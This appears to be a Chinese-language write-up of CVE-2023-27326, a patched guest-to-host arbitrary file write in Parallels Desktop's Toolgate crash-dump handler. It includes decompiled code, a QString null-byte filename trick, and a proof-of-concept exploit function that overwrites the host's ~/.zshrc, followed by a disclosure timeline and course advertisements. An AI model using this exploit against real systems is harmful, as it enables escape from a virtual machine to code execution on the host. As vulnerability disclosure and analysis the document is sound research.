CVE-2023-27326 漏洞-2023-27326 目录遍历任意文件写入漏洞
二进制漏洞分析-5.华为安全监控漏洞(SMC MNTN OOB 访问)
此漏洞允许本地攻击者在受影响的 Parallels Desktop 安装上写入任意文件并提升权限。攻击者必须首先获得在目标客户机系统上执行高特权代码的能力才能利用此漏洞。
Toolgate 组件中存在特定缺陷。该问题是由于在文件操作中使用用户提供的路径之前未对其进行正确验证所致。攻击者可利用此漏洞在主机系统上当前用户的上下文中写入任意文件并执行代码。
即使启用了“与 Mac 隔离”功能,也可以访问易受攻击的代码路径。
易受攻击的代码位于 Parallel Desktop Toolgate 组件的其中一个请求处理程序中。客户机通常使用此请求将故障转储文件写入 VM 主目录的子文件夹。此文件的内容完全由用户控制,但其文件名的格式按照以下模式进行:.GuestDumps
<user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>
该漏洞是双重的:
首先,由于没有对文件名进行检查,因此可以执行目录遍历,从而允许写入位于预期文件夹之外的文件。<user_input_trunc>
然后,由于Qt和类的微妙之处,可以完全跳过文件名的格式(但不幸的是不能截断用户输入),从而产生几乎完全由用户控制的路径。QByteArray
QString
最后,这个任意文件写入可用于覆盖 shell 登录脚本并以用户身份执行任意代码。
该漏洞存在于请求 (ID 0x8323) 工具的命令处理程序中。该工具的所有命令最终都位于函数 CSHAShellExt::handle_request_inner
中(将从不同的线程调用):CSHAShellExt
TG_REQUEST_VIRTEX_CRASH
CSHAShellExt
uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
// ... uint32_t inline_size = request->InlineByteCount;
uint32_t *inline_data = get_request_inline_data_inner(request);
// Ensure that there's enough inline data for the header
if (inline_size < 0x10) { /* ... */ }
// Ensure that the version is supported (1, 0)
if (inline_data[0] != 1) { /* ... */ }
// Handle the request by type
switch (request->Request) {
// ...
case TG_REQUEST_VIRTEX_CRASH:
// Ensure that this is the correct operation code (?)
if (inline_data[2] != 4) { /* ... */ }
// Ensure that there's at least 0x200 bytes of inline data
if (inline_size < 0x200) { /* ... */ }
// Call the appriopriate handler
this->virtex_req_crash(request, inline_data, &ret);
goto FINISH_REQUEST;
// ...
}
// ...
}
此函数将请求转发到相应的处理程序,因为该工具接受不同类型的请求。在请求的情况下,相应的处理程序是 CSHAShellExt::virtex_req_crash:
CSHAShellExt
TG_REQUEST_VIRTEX_CRASH
void CSHAShellExt::virtex_req_crash(
CSHAShellExt *this,
request *request,
uint32_t *inline_data,
uint32_t *ret_p) {
// ... // Compute the path where to store the guest dumps files
this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
get_file_dir_absolute_path(&homepath_abs, &homepath);
format_guestdumps_path(&guestdumps, &homepath_abs);
// ...
// Get the buffer containing the file data
if (request->BufferCount == 0) { /* ... */ }
buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
if (buffer0_pages == NULL) { /* ... */ }
// ...
// Get the buffer containing the file name
QString pbProcName;
pbProcName_idx = inline_data[0x44];
if (pbProcName_idx == 0)
goto SKIP_PBPROCNAME;
pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
if (pbProcName_pages == NULL) { /* ... */ }
QByteArray pbProcName_arr;
pbProcName_arr.resize(pbProcName_pages->RequestSize);
read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
pbProcName = QString::fromUtf8(pbProcName_arr);
// ...
SKIP_PBPROCNAME:
// ...
SKIP_PBPROCPATH:
// Handle the subrequest by type
code = inline_data[7];
switch (code) {
// ...
case 1:
// Prepare the guest dumps directory
prepare_guestdumps_dir(&guestdumps);
// ...
// Format the crash dump filename
format_dump_filename(&filename, inline_data, &pbProcName);
// ...
// Build the final path from the directory and filename
QString filepath(guestdumps);
filepath.append(QDir::separator());
filepath.append(filename);
// ...
// Finally, write the crash dump to disk
write_dump_to_disk(buffer0_pages, &filepath);
// ...
break;
// ...
}
// ...
}
此处理程序首先使用 检索 VM 的主路径(默认为)。它使用 get_file_dir_absolute_path
获取其绝对路径,并使用 format_guestdumps_path
追加到它以创建最终路径。~/Parallels/<vmname>.pvm
CVmIdentification::getHomePath
/GuestDumps
void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
// ...
abs_path = QFileInfo(path).dir().absolutePath();
// ...
}
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
// ...
// Append /GuestDumps to the home path
guestdumps.append(homepath);
guestdumps.append("/");
guestdumps.append("GuestDumps");
// ...
}
请求缓冲区 #0 包含故障转储数据。请求缓冲区 #n(从内联数据中提取的位置)包含故障转储文件名。文件名被提取并解析为 UTF-8 字符串(稍后会详细介绍该部分)。n
最后,处理程序从内联数据中提取另一种子请求类型。如果为 1(“写入故障转储而不触发崩溃”),它将执行以下操作:
它调用创建来宾转储目录并删除以前的故障转储的prepare_guestdumps_dir
;
它调用将各种整数、当前日期/时间和扩展名附加到文件名的format_dump_filename
;
它连接来宾转储目录和格式化的故障转储文件名(启用目录遍历);
它调用 write_dump_to_disk
将故障转储数据写入生成的文件路径。
prepare_guestdumps_dir
、format_dump_filename
和write_dump_to_disk
的代码可以在下面找到以供参考:
void prepare_guestdumps_dir(QString &guestdumps) {
// ...
// Create the directory if it doesn't exist
QDir dir(guestdumps);
if (!dir.exists())
dir.mkdir("."); // Remove all files with the specified extensions
QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
for (int i = 0; i < list.size(); ++i)
QFile::remove(list.at(i).absoluteFilePath());
// ...
}
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
// ...
// Append some numbers from the inline data to the filename
filename = pbProcName.mid(0, 20);
filename.append(".");
filename.append(QString::number(inline_data[8], 10));
filename.append("-");
filename.append(QString::number(inline_data[9], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xB], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xA], 10)); // ...
// Append the current date & time to the filename
filename.append(QChar("."));
filename.append(QDateTime::currentDateTime().date().toString());
filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
// ...
// Append the VM type to the filename
switch (inline_data[4]) {
case 0:
filename.append(".non");
break;
// ...
}
// ...
// Append the dump type to the filename
switch (inline_data[6]) {
case 3:
filename.append(".dump");
break;
// ...
}
// ...
}
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
// ...
// Open the file for writing
QFile file(filepath);
if (!file.open(2)) { /* ... */ } // Write the content of the buffer to it
pos = 0;
while (1) {
len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
if (!len)
break;
pos += len;
file.write(buf, len);
// ...
}
// Close the file
file.close();
// ...
}
乍一看,文件名似乎不会被完全控制,因为format_dump_filename
会截断它,然后向其添加多个后缀。但是,如果我们提供一个缓冲区,其中我们的文件名后面至少有一个 null 字节,则调用 将创建一个以至少一个 null unicode 字符结尾的字符串(因为 s 不是以 null 结尾的)。然后,当将其他字符串附加到它时,它们将遵循空 unicode 字符。最后,当它传递给 时,将仅使用第一个 null 之前的字符。因此,我们可以完全控制文件名,但最大长度为 19 个字符(因为截断为 20 个字符,减去 1 个字符表示空字节)。pbProcName
QString::fromUtf8
QString
QFile::QFile
以下测试代码及其输出突出显示了此行为。
#include <QDebug>
#include <QString>int main(int argc, char *argv[]) {
char buf[10];
memset(buf, 0, sizeof(buf));
strcpy(buf, "Hello");
QString str = QString::fromUtf8(buf, sizeof(buf));
qInfo() << str;
str.append(" World");
qInfo() << str;
printf("%s\n", str.toStdString().c_str());
}
"Hello\u0000\u0000\u0000\u0000\u0000"
"Hello\u0000\u0000\u0000\u0000\u0000 World"
Hello
如上所示,初始包含空 unicode 字符,每个字符对应从中创建它的缓冲区的每个空字节。然后,第二个字符串追加在 null unicode 字符之后。最后,当结果转换为常规 C 字符串时,null unicode 字符将转换为 null 字节,因此调用的输出不包括字符串的第二部分。QString
QString
printf
此漏洞可用于用任意内容覆盖用户主目录中的文件。在我们的漏洞利用中,我们决定以 shell 配置文件为目标,并用简单的 .这将导致每次用户打开新的终端窗口/选项卡时都会打开计算器应用程序。另一个有趣的目标可能是 VM的配置文件 ,位于其主路径中,以尝试启用共享文件夹功能并访问整个主机文件系统。~/.zshrc
open /System/Applications/Calculator.app
config.pvs
基本上,我们的漏洞利用归结为提出以下请求:
void exploit(void) {
char inln[0x200];
char *CR = kzalloc(0x1000, GFP_KERNEL);
char *pbProcName = kzalloc(0x1000, GFP_KERNEL); memset(inln, 0, sizeof(inln));
*(uint32_t *)(inln + 0) = 1;
*(uint32_t *)(inln + 8) = 4;
*(uint32_t *)(inln + 0x1c) = 1;
*(uint32_t *)(inln + 0x110) = 1;
strcpy(CR, "open /System/Applications/Calculator.app\n");
strcpy(pbProcName, "../../../.zshrc");
twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
//kfree(CR);
//kfree(pbProcName);
}
完整的漏洞利用代码可以在我们的 GitHub 存储库中找到。
此漏洞的CVE-2023-27326编号为CVE,并在Parallels Desktop 的 18.1.1 (53328) 安全更新中进行了修补。
2022 年 9 月 19 日 - 案件在 ZDI 研究人员门户网站上开立。
2022 年 9 月 20 日 - 在 ZDI 研究人员门户网站上分配的病例。
2022 年 10 月 10 日 - 在 ZDI 研究人员门户网站上调查了病例。
2022 年 11 月 3 日 - 案件审查并向供应商披露。
2022 年 12 月 13 日 - 该漏洞已在 18.1.1 更新中修复。
2023 年 3 月 7 日 - 公告发布在 ZDI 网站上。
二进制漏洞(更新中)
其它课程
windows网络安全防火墙与虚拟网卡(更新完成)
windows文件过滤(更新完成)
USB过滤(更新完成)
游戏安全(更新中)
ios逆向
windbg
恶意软件开发(更新中)
还有很多免费教程(限学员)
更多详细内容添加作者微信